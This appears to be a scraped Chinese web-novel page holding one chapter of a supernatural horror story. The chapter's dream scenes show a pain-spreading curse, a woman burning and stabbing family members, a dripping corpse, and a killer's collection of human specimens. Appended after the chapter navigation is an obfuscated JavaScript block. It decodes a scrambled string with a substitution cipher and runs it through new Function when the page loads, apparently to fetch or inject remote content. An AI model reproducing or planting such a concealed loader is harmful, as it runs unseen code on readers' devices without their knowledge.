返回

青叶灵异事务所

首页
关灯
护眼
字体:
第234章 尸体所在
(手机请访问 m.duxs8.com); 另一张熟悉的脸也出现在了我的面前。中年男人焦急地伸手搀扶起女人,却没想到女人忽然变了脸,抓住他的头发,将他的头按向了炉灶上的锅子。热粥烫伤了男人的脸,锅子翻倒,男人的头因为惯性碰到了点燃的炉火,头发迅速烧了起来。

女人好像突然解脱,都顾不上男人的嚎叫,先露出了一个笑容,扶着腰,往后退了几步。

这边的动静太大,卧室中走出来了一个穿着睡衣的年轻人。

“爸,顾阿姨,怎么……爸!”年轻人叫了起来,急忙冲击厨房。

那个顾姓女子这才收敛了表情,故作关切地说道:“你爸不小心摔倒了,他啊……”

我看着这一幕,意识到这次梦境又和张馨柔有关。之前那些快速切换的片段,意味着什么?

看顾姓女人那感觉到疼痛后娴熟的动作,她是第一个传染者,她知道怎么摆脱疼痛,还能毫不犹豫地对张馨柔的丈夫或许该说是前夫下手。

在这个顾姓女人前,是谁?

我回忆那些闪过的片段,记得前一个,似乎是个中年男人,和大多数人一样,在睡梦中突然被刺激到,他的床头柜上摆着一个女孩的照片。还有他第一次被“传染”的片段,有暴怒的顾姓女人和那个女孩。是这个姓顾的前夫?

我正在思考,张馨柔的儿子已经帮他父亲灭了头上的火,焦急冲洗他脸上的烫伤。他瞥了几眼顾姓女人,眼中满是怀疑和愤怒。顾姓女人的脸上挂着虚假的关心,瞄了眼张馨柔前夫的后腰,眼眸暗沉,微微动了动手指。

我这才注意到,张馨柔的前夫没有其他传染者的表现!他身上没有伤!这算什么?张馨柔死了也不忘记对他的爱?

还有这个顾姓女人,为什么梦境没有切换她第一次受到传染的表现?

我的思绪被惨叫打断。

顾姓女人重新捂着后腰,蜷缩起身体。

张馨柔的儿子吓了一跳,看家里两个伤患,连忙去打急救电话。

顾姓女人咬着牙,盯着张馨柔儿子的背影,突然抄起了旁边流理台上的菜刀,朝他捅了过去。

血溅当场!

张馨柔的儿子喊了声痛,转身将顾姓女人推了个倒仰。

“你疯了吗?”

“儿子,是我自己摔倒的,和你顾阿姨没关系。”张馨柔的前夫脸上都是肿泡,睁不开眼,在厨房摸索着,不忘给顾姓女人说话。

“是你们逼疯我的!都是因为你们父子!那个女人缠上我了,她缠上我了!啊……好痛……好痛……”顾姓女人捂着自己流血的后腰,脸色发白,声音渐渐轻了下去。

张馨柔的儿子呆滞住了。

她的前夫也愣住了,呢喃道:“小顾,你……你怎么……”

在我眼中,顾姓女人好似和郑欣欣重合在了一起。

同样被折磨得疯狂,同样无所顾忌地攻击旁人,只为让自己解脱。

我不知道张馨柔的那些疼痛传染到他们身上后,是发生了怎么的质变,可看这一桩桩事例,不禁心中发颤。

顾姓女人的气息弱了下去,鲜血流淌了一地。她正好倒在了饭桌旁边,鲜血流过了饭桌的桌脚、椅子的脚,然后……

我在血中看到了一双脚的空白痕迹。

正在继续打电话叫救护车的张馨柔儿子也看见了,那个躺地上的顾姓女人也看到了。

滴答!

滴答!

鲜血滴落在血泊中。

我和他们一样,将视线上移,看到了坐在椅子上的一具尸体。

那具尸体笔直坐着,青白的肤色,明显的尸斑,呆滞的视线,还有没有起伏的胸膛,都证明这是一具尸体。

“妈……”张馨柔的儿子动了动嘴唇。

顾姓女人的眼睛瞪大,那微弱的气息突然就没了,胸腔鼓起,好像抽了一口凉气,一瞬间,死了。

张馨柔的尸体后腰还在滴血,还是鲜红色的血液,和顾姓女人的血混合在了一起。

嘭!

尸体歪道,摔在血泊中,好似融化了一般,在鲜血中消失了。

我眼前一花,看到顾姓女人端着菜从厨房出来,饭桌边坐着张馨柔的儿子和顾姓女人的女儿。张馨柔的前夫跟着端了汤出来。一个人好似幸福美满的一家四口,围坐在饭桌边。他们看不见的张馨柔也坐在饭桌边上,吃着自己的单人餐。这时,顾姓女人走到了张馨柔边上,拉出了椅子,坐下。

那一瞬间,张馨柔剧烈颤动起来。

顾姓女人跳起来,疑惑地摸了摸椅子,又笑着坐下。

这一次,张馨柔不见了,没有鬼,没有尸体。

我知道,当那个顾姓女人取代张馨柔,坐在她位置上的那一刻,这个“传染”开始了。

现在,顾姓女人死了,传染终止了。

可是,张馨柔的鬼魂呢?她有得到安息吗?她的尸体在哪里?

好疼、好疼、好疼……

红色的血泊在我面前放大,我一阵头晕目眩,寒冷的空气和女人的轻声低语取代了那间血腥寂静的客厅。

我抬眼,就看到了面前好几副骷髅骨架,旁边的架子上则摆放着装有福尔马林和人体器官的玻璃罐子。这些标本,光是数量,就让人震惊。

好疼、好疼、好疼……

女人的声音还是那么轻,可我能分辨出来,那是不同人的声音。

张馨柔……在这里。还有其他被害者。

我心惊肉跳,看着这些标本,好像看到了一场场谋杀。

跟踪独居的女性,然后找机会下手,身体经过处理,做成标本。

胎盘……叶青给的胎盘不会和这个有关吧?难道那个胎盘不是用来对付萧天赐,是用来解决这件事的?

我一头雾水,面对这么多标本,也不知道该做什么。

她们是鬼吗?

可没有形体。就连张馨柔,都没有形体了。

只是灵体?

那我要怎么办?

我让自己冷静下来,在这间仓库一样的房间内搜寻起来。

只要知道这是哪里,让陈逸涵派人搜查,那个凶手就能被逮捕归案了。

耳边是女人的低声痛呼,面前是诡异的人体标本。原本这两者我都不害怕,可加在一块儿,还有个凶残冷血的连环杀手,我不禁有些发毛。

走遍了房间,我才在角落看到了一个带标签的标本,上面写着晖州大学医学院。

晖州大学医学院,那可是名校名专业啊!

念头刚浮现,我听到了“喀拉喀拉”的声响和“咕嘟咕嘟”的水声。

我猛地转头,看到那些骷髅架子做了个不可思议的转头动作,标本中的眼珠也都转到了冲着我的方向。

女人的低语不知何时消失了。

我被盯得僵硬,冷汗直流。

冷汗……冷汗?

我的身体紧绷着,忽然发现自己握着楼梯冰冷的扶手,身体倾斜着,冷汗浸湿了衣襟,不知道是刚才那一摔吓到的,还是被那些骷髅吓到了。

上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();